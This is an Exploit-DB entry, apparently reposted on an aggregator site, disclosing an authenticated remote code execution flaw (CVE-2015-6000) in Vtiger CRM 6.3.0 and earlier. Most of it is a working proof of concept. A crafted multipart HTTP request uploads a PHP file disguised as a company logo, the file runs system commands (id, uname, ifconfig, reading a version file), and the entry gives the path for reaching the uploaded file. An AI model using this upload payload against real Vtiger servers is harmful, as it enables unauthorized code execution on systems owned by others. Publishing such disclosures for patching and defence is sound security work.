vTiger CRM 6.3.0 – (Authenticated) Remote Code Execution

• Exploit Database
• 118 阅读

• 作者： Benjamin Daniel Mussler
  日期： 2015-09-28
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/38345/
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  -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1     # Exploit Title: Vtiger CRM <= 6.3.0 Authenticated Remote Code Execution # Date: 2015-09-28 # Exploit Author: Benjamin Daniel Mussler # Vendor Homepage: https://www.vtiger.com # Software Link: https://www.vtiger.com/open-source-downloads/ # Version: 6.3.0 (and lower) # Tested on: Linux (Ubuntu) # CVE : CVE-2015-6000 # Source: http://b.fl7.de/2015/09/vtiger-crm-authenticated-rce-cve-2015-6000.html     === Description ===   Vtiger CRM&apos;s administration interface allows for the upload of a company logo. Instead of uploading an image, an attacker may choose to upload a file containing PHP code and run this code by accessing the resulting PHP file.   Detailed description: http://b.fl7.de/2015/09/vtiger-crm-authenticated-rce-cve-2015-6000.html     === PoC ===   Through a specially crafted HTTP-POST request, a PHP file is stored on the server hosting the Vtiger CRM software:   POST /index.php HTTP/1.1 Host: [...] Cookie: [...] Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------51732462825208 Content-Length: 2040   -----------------------------51732462825208 Content-Disposition: form-data; name="__vtrftk"   [...] -----------------------------51732462825208 Content-Disposition: form-data; name="logo"; filename="2.php" Content-Type: image/jpeg   <? system(&apos;id; uname -a; /sbin/ifconfig -a&apos;); system(&apos;cat ../../vtigerversion.php&apos;); ?> -----------------------------51732462825208 Content-Disposition: form-data; name="address" [...]     The resulting PHP file can then be accessed at   [Vtiger URL]/test/logo/2.php           - -- Benjamin Daniel MUSSLER   Ix-Xgħajra, Malta Tel (MT) +356 9965 3798 Karlsruhe, Germany Tel (DE) +49 721 989 0150 Web: https://FL7.DE PGP: https://FL7.DE/pgp/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.21 (MingW32)   iQIcBAEBAgAGBQJWCVaeAAoJEAg0a3ng3v4f108P/0u+CUuUKSsSFiQt4S/HVAnw 5ykzNoZ/T1v0LUrItI1bZPeTyRr6VUandYclg68OM3VY0zc4x9161ScSlcnIitVO AasvEw7mGguAR4Pe2i84LpPNvE6Bi+MJqU6vnBqZVmQMXUY8k+Mb0ufM/DMByLPj dcozrAgI9ZQC3pnWiOPigD+gHe/AxY3Z1cxQLluOqBmMf7f3JXC+1dZt91EScuyi lHNtd6/uRtHJKqBG8MZMXnq49OxTk7iiqQmb393RizPL0eI8FumwaCXTDnLgRwX3 7XQfmg3sCzT1jPSQB4/UYciePPOS4EREjDA/RW5ydtGRCkZPvmjUlfaFMwTjlCd1 dpRIRlzDBWUCVFIqkp2TGkrkbckA1hnehH1q64sQ4KopdKl0tPJ8yLumVr2Uvwtq iLAbhQcn6+Cr9gctzOlrbj7BqY9uC0HfVdsl1qOCN5v3Yrbq7h/ToPnKGACLQN7t sALb61+vvriPimTVZD3AQg9t82G1brPHMzp+cLwjhYtw8b+2rohAA0JoUgBsCUHG 8dgnHI1K514soGkCDB4Mk2oM5W8T2tMsxvX/iQDH45IL3hYrROnWUnW+Fd3hA3ks VsqaNpaDEm+allop6OH3PETs6rGsLyaspCJBdkqKqxNOS6XE+lScrBVxzNL4VJL2 i8fbvZ/RIkuBT0Z79hUV =gMXq -----END PGP SIGNATURE-----